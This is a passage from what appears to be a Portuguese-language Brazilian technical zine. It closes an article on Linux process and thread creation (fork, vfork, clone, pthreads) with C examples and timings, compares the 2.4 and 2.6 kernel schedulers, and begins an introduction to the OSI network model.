printf("Conexão recebida de %s\n", inet_ntoa(addr->sin_addr));
char buf[256];
int ret;
for(unsigned int x = 0;x < MAX_RECVS;x ++)
{
ret = recv(fd, buf, 255, 0);
if( ret == -1 )
{
perror("Erro em recv()");
close(fd);
return -1;
}
buf[ret] = '\0';
printf("%s", buf);
}
printf("Processo filho fechando socket...\n");
shutdown(fd, SHUT_RDWR);
close(fd);
return 0;
}
<--> lap1/forkserver.c
Se você tem alguma noção sobre sockets, o código acima não deve ser
problema. Esse exemplo é didático e apresenta vários erros, mas o que importa é
a utilização da função fork().
Nesse exemplo, utilizamos fork() sempre que um cliente tenta se conectar
ao nosso servidor. Quando o cliente obtém a conexão, chamamos fork() e as men-
sagens que o cliente manda são tratadas por um processo recém criado pela fork()
. O processo original continua esperando por outras conexões. A função fork(),
nesse exemplo, tem como objetivo impedir o "travamento" causado pela recv() em
sockets do tipo "blocking", que poderia trazer problemas de espera quando vári-
os clientes tentam mandar dados e outros não. Esse exemplo simplesmente recebe
dados e ecoa diretamente para o terminal. Para testar esse exemplo, compile como
código c++. Para testá-lo, você pode utilizar o seguinte comando:
$ telnet host porta
onde "host" é o host onde o programa roda ("localhost", por exemplo) e porta é a
porta que você especificou no servidor ("9000", por exemplo).
Além da fork(), temos a vfork(). A vfork() é semelhante à fork(), exceto
pelo fato de que a vfork() bloqueia o processo pai e utiliza a memória do mesmo
para a execução do processo filho. Essa função deve ser utilizada apenas para
casos em que o processo filho não retorna da função na qual foi criado, não al-
tera qualquer dados (com exceção da variável de retorno de vfork()) e não chama
qualquer função (com exceção de _exit() e execve()). Caso uma destas duas limi-
tações sejam desrespeitadas, a execução poderá apresentar comportamento indefi-
nido. O processo filho criado por vfork() geralmente chama execve() ou _exit()
imediatamente após sua criação (obs: não chamar exit(), e sim _exit()).
Por último, mas não menos importante, temos a clone(). Os processos cri-
ados por essa função podem herdar o espaço de execução e manipuladores abertos
do processo pai. Ao contrário da fork(), essa função não inicia o processo após
a chamada, e sim em uma função definida. Em caso de sucesso, essa função retor-
na o pid do processo criado, caso contrário, retorna -1. Vejamos um exemplo:
<++> lap1/clone.c
/* clone operation */
#include
#include
#include
int ocupado = 0;
int operacao_demorada(void);
int main(void)
{
printf("Shell interativa\n\n");
char buf[256];
void *pilha;
while(1)
{
printf("# ");
scanf("%256s", buf);
if( ! strcmp(buf, "sair") || ! strcmp(buf, "exit") )
{
break;
}
else if( ! strcmp(buf, "od") )
{
pilha = malloc(512);
if( ! pilha )
{
perror("Erro em malloc()");
}
if( clone(operacao_demorada, pilha, 0, NULL) == -1 )
{
perror("Erro em clone()");
return -1;
}
}
}
return 0;
}
int operacao_demorada(void)
{
printf("Operação iniciada\n");
sleep(10);
/* O que foi? Um sleep não está bom?
*/
printf("Operação finalizada\n");
return 0;
}
<--> lap1/clone.c
O exemplo acima cria uma shell interativa que recebe 3 comandos: "exit"
ou "sair" (que fecham o programa) e "od". O comando "od" inicia um processo na
função "operacao_demorada", que poderia "travar" a shell se não fosse executado
em outro processo.
A função clone() é utilizada no linux para implementar threads (ou pro-
cessos leves (Lightweight process, LWP)). Os parâmetros de clone() são: a fun-
ção inicial para o novo processo (deve ser do tipo "int funcao(void)"), um bu-
ffer para a pilha do novo processo, flags de criação e argumentos para o novo
processo.
Dentre as flags, as mais importantes são CLONE_VM (que permite que o
processo pai e o processo filho dividam a área de dados (toda escrita e mapea-
mento feito na memória de um processo estará presente na memória do outro),
CLONE_FS (ambos os processos compartilham informações sobre o sistema de arqui-
vos, qualquer alteração reflete-se no outro processo), CLONE_FILES (ambos os
processos compartilham manipuladores de arquivos novos ou existentes), CLONE-
_SIGHAND (ambos os processos compartilham os manipuladores de sinais) e CLONE-
_PID (ambos os processos terão o mesmo identificador de processos).
--=[ 4.0 Threads
Como dito anteriormente, um processo pode ou não ser considerado uma u-
nidade de execução. Atualmente é mais comum considerar threads como unidades de
execução. Um processo pode ter um ou mais threads. Um thread existe no interi-
or de um processo e compartilha algumas estruturas com outros eventuais threads
do mesmo processo, como o espaço virtual, a área de dados e código, manipulado-
res de arquivos abertos, etc. Por outro lado existem dados e estruturas que são
únicas para cada thread, como a stack e informações sobre registradores.
A vantagem da utilização de threads em relação aos processos são várias:
os threads utilizam um mesmo espaço virtual, o que facilita a comunicação e di-
minui a utilização de espaço na memória; os threads geralmente são criados mais
rápidos do que processos; os threads permitem que parte do processo continue
executando mesmo quando um dos threads esteja bloqueado.
Geralmente utiliza-se threads em processos interativos (shell? janela?),
onde um thread gerencia a interface (uma janela, por exemplo) enquanto outro faz
operações "pesadas" (como ler um arquivo de 500 MB, por exemplo), que normal-
mente "travariam" a interface se fossem realizados no mesmo thread que a geren-
cia. Existem duas maneiras de se implementar threads, conhecidas como User Th-
reads e Kernel Threads.
Os User Threads são threads implementados pelo próprio programa, que faz
a troca da execução e a manutenção dos dados de cada thread, enquanto os Kernel
Threads são criados e gerenciados pelo próprio kernel. As vantagens dos Kernel
Threads sobre os User Threads são muitas: nos User Threads, geralmente os pró-
prios threads têm de ceder o espaço de execução para outros threads, o que pode
trazer atraso na execução, caso um thread "trave" ou realize operações demora-
das; além disso, um thread que bloqueie o processo à espera de alguma operação
de I/O, por exemplo, bloqueia todos os outros threads; User Threads geralmente
não podem utilizar os benefícios de tecnologias de múltiplos processadores (SMP).
No Linux, geralmente utiliza-se a syscall clone() para criar threads, ou
seja, utiliza-se Kernel Threads, porém isso não impede qualquer programa de u-
tilizar User Threads.
Existem diversas bibliotecas que implementam threads no Linux, sendo
mais popular a LinuxThreads, criada por Xavier Leroy (http://pauillac.inria.fr/
~xleroy/linuxthreads/), e a Native Posix Thread Library (NPTL, http://people.re
dhat.com/drepper/nptl-design.pdf). A LinuxThreads é uma biblioteca relativamen-
te simples. As funções mais utilizadas são: pthread_mutex_init, será abordada no
próximo artigo, pthread_create, para criar novos threads, pthread_join, espera o
fim da execução de um determinado thread
Vamos a um exemplo:
<++> lap1/pthread.c
/* pthread read byte
*/
#include
#include
#include
#include
#include
void *ReadFileThread(void *);
int print_status, arquivo;
unsigned int tamanho;
int main(int argc, char *argv[])
{
if( argc < 2 )
{
printf("Uso:\n\t%s arquivo [tamanho]\n", argv[0]);
return 0;
}
arquivo = open(argv[1], O_RDONLY);
if( arquivo == -1 )
{
perror("Erro em open()");
return -1;
}
if( argc >= 3 )
{
tamanho = atoi(argv[2]);
}
else
{
tamanho = lseek(arquivo, 0, SEEK_END);
if( tamanho == -1 )
{
perror("Erro em lseek()");
close(arquivo);
return -2;
}
lseek(arquivo, 0, SEEK_SET);
}
pthread_t tid;
if( pthread_create( & tid, NULL, ReadFileThread, NULL) )
{
perror("pthread()");
close(arquivo);
return -3;
}
char buf[256];
while(1)
{
scanf("%256s", buf);
if( ! strcmp(buf, "exit") || ! strcmp(buf, "sair") )
{
break;
}
else if( ! strcmp(buf, "status") )
{
print_status = 1;
}
}
pthread_join( tid, NULL );
close(arquivo);
return 0;
}
void *ReadFileThread(void *arghh)
{
char buf[512];
unsigned int bytes[256] = {0};
unsigned int reads;
reads = tamanho / 512;
if( tamanho % 512 ) reads ++;
unsigned int ins_loop, loop;
float pct;
for(loop = 0;loop < reads;loop ++)
{
memset(buf, 0, 512);
if( (loop == reads - 1) && tamanho % 512 )
{
read(arquivo, buf, tamanho % 512);
}
else
{
read(arquivo, buf, 512);
}
for(ins_loop = 0;ins_loop < 512;ins_loop ++)
{
bytes[ (unsigned int)(unsigned char) buf[ins_loop] ] ++;
}
if( print_status )
{
print_status = 0;
pct = (float) ((float) loop * 512.0f * 100.0f) / tamanho;
printf("Foram lidos %u bytes (%.2f%%)\n", (loop * 512), pct);
}
}
unsigned int pos = 0;
for(loop = 0;loop < 256;loop ++)
{
if( bytes[loop] > pos )
{
pos = loop;
}
}
printf("O byte que mais apareceu foi 0x%X, apareceu %u vezes\n", pos, bytes[pos]);
return NULL;
}
<--> lap1/pthread.c
O exemplo acima utiliza dois threads: o inicial, que cria um manipulador
de arquivo e aguarda comandos e um segundo, que lê o arquivo em blocos de 512
bytes. Esse programa mostra o último byte que aparece mais vezes em um arquivo.
Para testá-lo, você pode utilizar o seguinte comando:
$ ./programa /dev/zero $[1024 * 1024 * 1024]
Assim o programa lerá 1GB de dados do arquivo /dev/zero (essa leitura é
até bem rápida, já que o buffer é de 512 bytes). Enquanto o thread de leitura
está rodando, o thread principal aguarda instruções ("exit" ou "sair" para sair
ou "status", para mostrar a posição atual da leitura). Novamente, esse código é
apenas para exemplo e apresenta falhas (acho que se você usar um arquivo de ta-
manho >= 4GB, ele dá algum erro).
Esse tipo de uso de threads é comum em programas que utilizam janelas
que recebem eventos e não podem esperar pela leitura de um arquivo de 1GB, por
exemplo, para continuar a execução. Em muitos casos, são as operações que o
programador julgou não levarem muito tempo que acabam "travando" a janela quan-
do o usuário as utiliza de maneira inesperada ao programador (abrir um arquivo
de 1GB num editor de texto, por exemplo ;]).
--=[ 5.0 Performance
Por último, veremos um teste de performance entre fork(), pthread_crea-
te() e clone(). Utilizaremos um código que não faz nada senão retornar dos pro-
cessos/threads criados.
Nestes exemplos serão criados 1000 processos/threads que apenas retornam 0.
/***************************************************************************/
<++> lap1/forktest.c
/* fork() test
*/
#include
#include
int main(void)
{
int loop;
for(loop = 0;loop < 1000;loop ++)
{
switch( fork() )
{
case 0:
pause(15);
return 0;
break;
case -1:
printf("Fork %u falhou\n", loop);
break;
}
}
return 0;
}
<--> lap1/forktest.c
/***************************************************************************/
<++> lap1/pthreadtest.c
/* pthread_create() test
*/
#include
#include
#include
pthread_t tid;
void *thread_start(void *);
int main(void)
{
int loop;
for(loop = 0;loop < 1000;loop++)
{
if( pthread_create(& tid, NULL, thread_start, NULL) == -1 )
{
printf("pthread_create() %u falhou\n", loop);
}
}
return 0;
}
void *thread_start(void *arg)
{
return NULL;
}
<--> lap1/pthreadtest.c
/***************************************************************************/
<++> lap1/clonetest.c
/* clone() test
*/
#include
#include
#include
int clone_start(void *);
char buf[40000];
int main(void)
{
int loop;
for(loop = 0;loop < 1000;loop ++)
{
if( clone(clone_start, buf + (loop * 40), CLONE_VM, NULL) == -1 )
{
printf("clone() %u falhou\n", loop);
}
}
return 0;
}
int clone_start(void *arg)
{
return 0;
}
<--> lap1/clonetest.c
/***************************************************************************/
Compilando e executando os 3 códigos, e utilizando o comando time, obtive:
$ time ./fork_test
real 0m0.126s
user 0m0.002s
sys 0m0.044s
$ time ./pthread_creat_test
real 0m0.045s
user 0m0.005s
sys 0m0.040s
$ time ./clone_test
real 0m0.026s
user 0m0.001s
sys 0m0.021s
Note que o tempo do kernel para a criação de um processo/thread utili-
zando clone é menor do que o tempo para a criação de um processo utilizando
fork() ou pthread_create(), isso quando o processo possui a flag CLONE_VM. Em
ambientes de execução hostis, esse tempo pode fazer bastante diferença. Além
disso, provavelmente o processo/thread criado com clone() entrará em execução
mais rápido do que o criado por fork().
E é só isso =]
Espero que tenha gostado do artigo.
No próximo veremos IPC e mecanismos de sincronização entre processos e threads.
Agradecimentos a todo mundo (assim não me esqueço de ninguém), em destaque todo
o pessoal do motd e a juh (aka sync) =]
Até a próxima.
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[07]-=[Algoritmo de escalonamento: Kernel 2.4 Versus 2.6]=-|Felipe Goldstein|-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--=[ Introdução
O Algoritmo de escalonamento é o coração de um Kernel. Existem muitos
algoritmos e a eficiência de cada um deles depende do tipo de aplicação que
será executada. O Linux, por ser voltado para o computador pessoal, executa em
sua maioria, tarefas que interagem com o usuário. Portanto o algoritmo volta-se
principalmente para sistemas interativos.
Aqui, discutirei em linhas gerais, o funcionamento do algoritmo de
escalonamento do kernel 2.4 e suas desvantagens em relação ao do kernel 2.6.
--=[ Kernel 2.4
--=--=[ Breve descrição do funcionamento do algoritmo de escalonamento
O escalonador do Linux divide o tempo de CPU em Eras (epochs). Em cada Era,
cada processo tem um time-quantum que especifica o tempo que o processo vai
adquirir de CPU durante a Era atual. Quando o time-quantum de um processo
acaba, o escalonador é chamado e outro processo começa a rodar.
Uma Era termina quando todos os time-quantum dos processos ativos acabam.
Então a lista ligada dos processos é completamente varrida, e para cada
processo, é calculado uma nova prioridade e um novo time-quantum. Por este
motivo, o algoritmo de escalonamento do kernel 2.4 tem a ordem de O(n) no
número de processos ativos. O fator linear do algoritmo vem diretamente do fato
de que o acesso à lista ligada é linear, e também da necessidade de se
recalcular a prioridade de cada processo entre cada mudança de Era, porém como
veremos no kernel 2.6 isto pode ser feito no momento em que se insere o
processo na lista.
Os processos ativos dividem-se em duas listas ligadas usadas pelo
escalonador. Uma guarda os processos que ainda não extinguiram todo o seu time
-quantum designado para a Era atual e estão esperando para serem escalonados,
chamada run-queue enquanto a outra guarda os processos que já extinguiram o seu
time-quantum e estão esperando para serem escalonados na próxima era, chamada
expired-queue.
--=--=[ Tipos de Processos
Existem 2 tipos básicos de processos: Processos de Tempo Real e os processos
convencionais. Os processos de Tempo Real são processos que requerem respostas
em tempos determinados. Para isso eles precisam de um maior determinismo do
sistema e portanto recebem maior prioridade. Estes tipos de processos recebem
uma prioridade que é sempre maior que a dos outros processos convencionais e
esta prioridade não muda depois que o processo começa a rodar.
Os processos convencionais recebem uma prioridade que muda conforme a
necessidade e no caso do kernel 2.4 , basicamente a prioridade muda conforme a
quantidade de time-quantum não usada pelo processo em seu último escalonamento,
o que faz com que processos IO-Boud recebam maior prioridade (pois este tipo de
processo deixa sempre sobrando algum time-quantum quando vai dormir esperando
um evento de IO).
--=--=[ Quem deve executar primeiro ?
Uma das principais tarefas do escalonador é fazer a escolha dentre os
processos na lista run-queue de qual processo executar primeiro. A escolha é
feita pegando da lista run-queue o processo com o maior fator Goodness que é
calculado da seguinte maneira:
* Goodness = 0
Se o processo acabou o seu time-quantum.
A menos que este processo seja o primeiro processo na lista run-queue e
todos os outros processos tenham também acabado seu time-quantum , este
processo não será selecionado agora.
* 0 < Goodness < 1000
Se o processo eh convencional e ainda não acabou com seu time-quantum,
Goodness é a soma da prioridade do processo com o que resta do seu
time-quantum somado com 1.
* Goodness >= 1000
Se o processo é de Tempo Real, seu Goodness é a soma de 1000 com sua
prioridade.
Perceba que para fazer esta escolha, todos os processos são percorridos e é
calculado o fator Goodness de cada um, o que também implica uma ordem de O(n)
ao algoritmo de escalonamento.
--=--=[ Sistemas Multiprocessados
Além da escolha de qual processo rodar primeiro, o escalonador deve escolher
também (num sistema multiprocessado) em qual CPU o processo vai rodar. Para
melhor utilizar a memória Cache, o kernel 2.4 tenta escolher a CPU no qual o
processo já estava rodando. Mas isso pode causar um overload de uma CPU
enquanto outras estão ociosas. Então essa escolha é feita usando um fator que
leva em conta o tamanho da memória cache do processador e sua freqüência.
Baseado nesse fator o escalonador decide se vale ou não a pena colocar o
processo no mesmo processador. Porém ainda assim, no Kernel 2.4, existe uma
situação em que um processo pode ficar 'pulando' de uma CPU para outra
constantemente, desperdiçando a memória cache. Este já era um bug conhecido a
tempos.
--=--=[ Performance do Kernel 2.4: Desvantagens
* O Algoritmo não é escalável :
Conforme aumenta o número de processos ativos, aumenta o overhead no
escalonamento. O kernel leva mais tempo pra decidir qual processo
rodar, diminuindo o desempenho do sistema.
* Estratégia adotada para processos do tipo IO-Bound não é ótima:
Dar preferência aos processos do tipo IO-Bound é uma boa estratégia,
mas ela não é perfeita. Imagine que você tenha um processo rodando em
background como um banco de dados que a todo momento precisa ler dados
do HD, porém ele não precisa ter um tempo de resposta rápido. Com este
algoritmo, este tipo de processo vai levar vantagem sobre os outros
que não são IO-Bound.
Outro problema acontece quando um processo que é CPU-Bound precisa
também interagir rapidamente com o usuário, este tipo de processo vai
ter menos prioridade por ser CPU-Bound.
* Kernel não é preemptivo:
No kernel 2.4 e anteriores, para cada operação de escalonamento e
context-switch um mutex-lock global precisa ser adquirido antes de
entrar na seção crítica do código. Esta seção crítica é na verdade o
código completo do escalonador. Assim, num sistema multiprocessado,
apenas um processador podia executar o escalonador por vez.
O mutex-lock global impede que dois ou mais processadores executem o
escalonador ao mesmo tempo e isso pode representar perda de tempo de
processamento, pois os processadores que estão tentando adquirir o
mutex vão ter que esperar até o mutex ser liberado. Além disso, durante
a execução do escalonador as interrupções são desligadas, e portanto o
kernel não é preemptivo. Durante uma chamada de sistema, o código
executado no espaço de kernel não pode ser interrompido. Por exemplo,
por um processo de alta prioridade (pode ser de Tempo Real) que acabou
de acordar e precisa executar na frente de qualquer outro tipo de
processamento.
Tudo isso traz péssimas implicações para processos de Tempo Real, pois
diminui o determinismo da prioridade de execução de um processo de
Tempo Real.
--=[ Kernel 2.6 - Mudanças
--=--=[ Objetivos
Ao se projetar um novo escalonador para o kernel do linux, mantendo as boas
características que o kernel 2.4 trazia e adicionando novas e interessantes,
os objetivos principais foram os seguintes:
* Boa performance de interatividade , mesmo durante uma sobrecarga de uso
de CPU: Se o usuário clica então o sistema deve reagir instantaneamente e
executar a tarefa do usuário de forma suave.
* Justiça: Nenhum processo deixa de receber ao menos um pequeno pedaço de
tempo da CPU e nenhum processo recebe injustamente um grande pedaço de
tempo da CPU. Respeitando as prioridades de cada processo.
* Prioridades: Tarefas menos importantes recebem prioridades menores,
tarefas mais importantes recebem prioridades altas.
* Eficiência em ambiente multiprocessado: Nenhuma CPU deve ficar ociosa se
existe trabalho a fazer.
* Afinidade de CPU em ambiente multiprocessado: Processos que rodaram numa
CPU têm afinidade a ela, e assim que possível, permanecer executando na
CPU em que já foi executada. Nenhum processo deve ficar trocando de CPU
muito freqüentemente.
As novas características que chamam mais atenção são as seguintes:
* Escalonamento completo usando um algoritmo O(1): Sistema muito mais
escalável. O número de processos executando não afeta o desempenho do
kernel.
* Kernel Preemptivo: Escalabilidade perfeita num ambiente multiprocessado.
Não existe mais nenhum mutex-lock global para proteger a área de código
do escalonador. Existe agora 1 lista de processos ativos (run-queue) por
CPU, permitindo o acesso em paralelo às run-queues sem a necessidade de
mutex.
* Escalonamento tipo Batch: Uma grande porção dos processos CPU-Bound se
beneficiam da maneira Batch de escalonamento, onde os time-quantum são
grandes e os processos são escalonados por round-robin. O novo esca-
lonador designa este tipo de escalonamento (Batch) para os processos com
baixa prioridade, e a nova política de prioridade dinâmica designa
menores prioridades quanto mais CPU-Bound for o processo.
* Sistema mais confiável para processos Real Time: O fato do kernel ser
Preemptivo e o algoritmo de escalonamento ser O(1) melhora o comporta-
mento do sistema em relação à dar prioridade às tarefas Real Time, pois
agora uma chamada de sistema feita por uma tarefa de prioridade menor
pode ser interrompida por uma tarefa de maior prioridade para que ela
entre em execução imediatamente.
--=--=[ Vetor de Prioridades
Ao invés de usar só uma lista ligada gigante com todos os processos ativos,
foi usado uma outra abordagem na qual temos um vetor de tamanho fixo cujo
tamanho é o número de níveis de prioridades. Cada elemento do vetor aponta para
uma lista ligada de processos que tem a mesma prioridade.
Essa é a estrutura básica do novo escalonador:
A lista run-queue, agora é um vetor de prioridades ordenado e cada CPU têm
sua própria run-queue. O vetor de run-queue contém todas as tarefas que têm
afinidade com a CPU e ainda têm time-quantum para executar, enquanto o vetor de
expired-queue contêm as tarefas que tem afinidade com a CPU e que expiraram seu
time-quantum, de maneira que este vetor expired-queue (assim como o run-queue)
também é mantido ordenado.
A estrutura do array de prioridades é descrita como:
struct prio_array {
int nr_active; /* number of tasks */
unsigned long bitmap[BITMAP_SIZE]; /* priority bitmap */
struct list_head queue[MAX_PRIO]; /* priority queues */
};
MAX_PRIO é número de níveis de prioridades do sistema. Para cada prioridade é
mantida uma lista ligada dos processos que estão naquela prioridade. O
escalonador escolhe para executar primeiro a lista dos processos no maior nível
de prioridade e executa-os em Round-Robin.
Existe um número fixo de níveis de prioridades, e para escolher um novo
processo basta pegar o próximo elemento do vetor de prioridades, portanto, o
algoritmo neste caso é O(1), pois temos um tempo constante executado em cada
escolha de qual processo executar.
--=--=[ Recalculando os time-quantum
No 2.4 , cada vez que terminava uma Era, percorria-se todos os processos
recalculando os time-quantum de cada um. No kernel 2.6, o calculo do time
-quantum ocorre quando o processo termina todo seu time-quantum da Era atual.
Assim, antes de ser passado para o vetor de expired-queue, seu time-quantum e
também sua prioridade são recalculados. O vetor de expired-queue é mantido
ordenado e contém os processo com os time-quantum já calculados da próxima Era.
Quando a Era atual termina, basta trocar os ponteiros do vetor de run-queue por
expired-queue e o novo vetor de processos ativos está pronto para ser
executado.
A abordagem do kernel 2.6 é uma mistura de lista de prioridades com
escalonamento por Round Robin. Os processos de uma mesma prioridade são
escalonados por Round-Robin, mas as prioridades maiores são escalonadas
primeiro.
--=--=[ Resposta Rápida
Uma das coisas que mais deixam os usuários do sistema irritados, é a demora
no tempo de resposta de um comando. No kernel 2.6 este problema é evitado da
seguinte maneira: ao invés de aumentar a prioridade de processos IO-Bound,
diminui-se a prioridade dos processos que querem consumir muito tempo de CPU
quando tempo de CPU está escasso.
--=[ Conclusão
Essas foram as principais mudanças do kernel 2.4 para o 2.6. O Linux sempre
foi um sistema operacional voltado para o usuário de Computador Pessoal e por
isso conceitos como processamento de tarefas de Tempo Real, escalabilidade no
número de CPUs e no número de processos ativos não foram prioridades no
desenvolvimento do seu Kernel.
Um usuário de PC rodando o kernel 2.4 não vai notar a menor diferença quando
fizer o upgrade para o 2.6, visto que seu PC só tem 1 processador e ele só roda
no máximo, digamos, 100 processos em paralelo. Além disso não se usa o linux
como um Sistema Operacional para controlar um sistema de Tempo Real, como um
piloto automático de um avião ou um sistema de controle de temperatura de uma
usina nuclear. O Linux não foi projetado para esse tipo de coisa, mas com essas
mudanças se consegue chegar mais perto do que seria um sistema mais escalável e
confiável.
Segundo Theodore Tso (um dos desenvolvedores do kernel), na conversa que teve
hoje com os alunos da computação no IC (Instituto de Computação - Unicamp), as
futuras versões do kernel caminham em direção a se ter mais robustez para
aplicações de Tempo Real, adicionando mais predictabilidade e determinismo à
execução de tarefas que exigem alta prioridade.
--=[ Fontes
1) Livro: Understanding the Linux Kernel ,
By Daniel P. Bovet & Marco Cesati ,
Editora O'Reilly
2) Livro: Linux Kernel Development ,
By Robert Love ,
Editora Sams
3) Email:
From: Ingo Molnar
To: linux-kernel-mailing-list
Subject: [announce] [patch] ultra-scalable O(1) SMP and UP scheduler
Date: Fri, 4 Jan 2002 03:19:10 +0100 (CET)
Este email pode ser encontrado em:
http://kerneltrap.org/node/341
4) web: http://www.hpl.hp.com/research/linux/kernel/o1.php
5) web: http://www.linuxgazette.com/node/9746
6) web: http://www.faqs.org/docs/kernel_2_4/lki-2.html
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[08]-=[Básico sobre o Modelo OSI]=-|d4rwin|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
!AVISO!: O objetivo deste texto não é nem de longe dar todos os detalhes sobre
este modelo de referência, porém fornecer uma visão básica sobre ele, permitindo
a compreensão de onde entram protocolos como o TCP e o IP por exemplo, ou então
sobre como os dados trafegam na rede.
=======================================
= .,ÍNDICE., =
=======================================
= =
= 1.0...Introdução =
= | =
= 2.0...Camadas =
= |-> 2.1...Aplicação =
= |-> 2.2...Apresentação =
= |-> 2.3...Sessão =
= |-> 2.4...Transporte =
= |-> 2.5...Rede =
= |-> 2.6...Enlace de dados =
= |-> 2.7...Física =
= | =
= 3.0...Exemplo prático =
= | =
= 4.0...Alegoria =
= | =
= 5.0...Os protocolos e o Modelo OSI =
= | =
= 6.0...Conclusão =
= | =
= 7.0...Referências bibliográficas =
= =
=======================================
--=[ 1.0 - Introdução
O modelo de referência OSI(Open Systems Interconnection) foi criado pela
ISO (International Standards Organization) para interconexão de redes heterogê-
neas/sistemas abertos, visando por um fim à incompatibilidade até então enfren-
tada pelas redes de computadores da época.
--=[ 2.0 - Camadas
Basicamente, pode-se dividi-lo em sete camadas, classificadas de acor-
do com suas funções. Todo o processo de comunicação entre computadores, segue o
padrão de encapsulamento, isto é, a camada de nível mais alto é encapsulada na
de nível inferior. Cada camada não possui um protocolo específico, mas uma fun-
ção determinada, que é preenchida por algum protocolo desenvolvido para tal.
--=--=[ 2.1 - Aplicação
Está é a camada mais superior do modelo OSI. É nela que as requisições a
serviços são realizadas, como visualizar uma página web (HTTP), transferir ar-
quivos(FTP), ou então receber e enviar emails(POP3 e SMTP). Também gerencia e
administra os processos de aplicação, faz o controle de acesso, realiza o moni-
toramento e recuperação dos dados, etc.
--=--=[ 2.2 - Apresentação
É responsável pela interpretação e tradução dos dados vindos da camada
precedente, cuidando da sintaxe das informações transmitidas. Quando se trata do
receptor, as informações que vêm da camada 5 (Sessão) são preparadas na camada 6
(Apresentação) para a sua utilização por aplicativos presentes na camada 7
(Aplicação). Pode ter outras utilidades, como compressão de dados e criptogra-
fia. No caso da compressão, os dados serão descomprimidos na camada correspoden-
te pelo receptor.
--=--=[ 2.3 - Sessão
Aqui é onde se inicia o verdadeiro processo de comunicação. A camada de
sessão permite estabelecer a conexão entre computadores distintos. Ela inicia e
termina a sessão de diálogo entre duas máquinas, assim como gerencia e sincroni-
za as informações trafegadas, também realizando a marcação dos dados para o caso
de interrupção na comunicação, quando a conexão é reestabelecida, sabe-se onde
parou. Em outras palavras, permite que as máquinas se entendam. Fazendo uma ana-
logia com a vida real, seria como um homem em meio a duas mulheres, administran-
trando o momento certo de cada uma falar.
--=--=[ 2.4 - Transporte
Dentre as 7 camadas sintetizadoras do Modelo OSI, dois grupos podem ser
formados. O primeiro composto pelas camadas 7, 6, 5 (Aplicação, Apresentação e
Sessão respectivamente). Este primeiro grupo se preocupa apenas com os dados,
não importando a maneira como estão sendo transportados. O segundo grupo, conta
com as camadas 3, 2, 1 (Rede, Enlace de dados e Física respectivamente). Este
grupo por sua vez, preocupa-se com a transmissão dos dados em si. Você deve ter
notado a falta da camada 4 (Transporte). É ela quem interliga estes dois grupos.
A camada de transporte realiza a segmentação dos dados provenientes da
camada de sessão. Após dividi-los em pacotes repassa à camada de rede. A camada
de sessão estabelece a conexão, e a de transporte fornece e gerencia o canal
para troca de dados. Exerce também o controle de fluxo (ordenação dos dados caso
não estejam na ordem correta) e executa correção de erros, através de mensagens
de recebimento do pacote. No receptor, realiza a junção dos pacotes (multiplexa-
ção) vindos da camada 3 para enviar a camada 5.
--=--=[ 2.5 - Rede
Realiza o encaminhamento dos pacotes entre redes distintas, roteando os
pacotes e lidando com as adversidades que venham a surgir durante a transmissão,
como congestionamentos. Portanto, faz a conversão dos endereços lógico em ende-
reços físicos. Cabe a ela encontrar o computador destino no meio de tantos ou-
tros e controlar condições de tráfego e prioridade para o roteamento.
--=--=[ 2.6 - Enlace de dados
Também conhecida como camada de Link de Dados, tem por função pegar os
pacotes fornecidos pela camada de rede e transformá-los em quadros, garantindo
uma transmissão confiável através da rede. Esses quadros possuem informações
pertinentes, como endereços da placa de rede do transmissor e receptor, payload
(os dados em questão) e o CRC, para checar a integridade dos dados (caso não
seja enviada nenhuma mensagem de sucesso no transporte, os quadros são
reenviados pela camada 2). Um exemplo de protocolo que trabalha nesta camada é
o Ethernet, largamente utilizado nas redes de computadores atuais.
--=--=[ 2.7 - Física
É a camada de mais baixo nível no modelo OSI, sendo o último elo de co-
nexão entre duas máquinas. Sua função principal é fazer a conversão dos quadros
que vêm da camada inferior em sinais elétricos ou luminosos (no caso das fibras
ópticas), mantendo a compatibilidade com o meio de transmissão. Ou seja, a cama-
da física faz a tradução dos quadros vindos da camada 2 em 0s e 1s e em seguida
encaminha os bits através das interfaces de rede.
OBS.: A camada física não inclui o meio em que os dados trafegam, como cabos
por exemplo.
--=[ 3.0 - Exemplo prático
Para facilitar o entendimento de como funciona o modelo de referência,
irei propor uma situação hipotética, porém prática da utilização do mesmo para a
construção de um arquitetura de rede. Lembrando que as camadas superiores são
encapsuladas nas inferiores.
Supomos que um usuário gostaria de visualizar seus e-mails presentes em um
servidor.
* Camada 7
O primeiro passo é abrir o cliente de e-mails, que entrará em contato com o
servidor, utilizando o protocolo POP3. O ato de requisitar o servidor usando
este protocolo, encaixa o mesmo na camada de aplicação do modelo OSI.
* Camada 6
A requisição feita pelo usuário usando a camada de aplicação é traduzida para
uma linguagem padrão para que os dados sejam transportados.
* Camada 5
Na camada de Sessão a conexão é estabelecida com o host destino (200.124.1.66,
*número fictício). Esta camada irá cuidar do diálogo entre as máquinas,
interrupções na conexão, avisando o emissor caso alguma coisa aconteça.
* Camada 4
Aqui é criado o "túnel" fim-a-fim para o transporte dos dados, que serão
segmentados em pacotes, e repassados para a camada 3. Protocolos que trabalham
nesta camada são o TCP (Transmission Control Protocol) e UDP(User Datagram
Protocol).
* Camada 3
Como sabido, esta camada é responsável pelo encaminhamento e roteamento
dos pacotes, função essa exercida pelo IP (Internet Protocol) e roteadores. O
ICMP (Internet Control Message Protocol) também age nesta camada, geralmente
casado com o IP.
* Camadas 2 e 1
A camada 2, onde os pacotes são transformados em quadros para serem repassados
a camada física, possui o Ethernet. Ele procura pelo endereço físico da
interface de rede destino (MAC Adress) para então enviar os quadros, de acordo
com as especificações de cabeamento e sinais elétricos.
Quando os bits chegam na interface de rede destino (placa de rede), estes
percorrem o caminho inverso ao exercido na máquina emissora.
--=[ 4.0 - Alegoria
No tópico acima foi visto um exemplo prático da aplicação do modelo OSI
para a construção de uma arquitetura, onde um usuário requisitou a um servidor
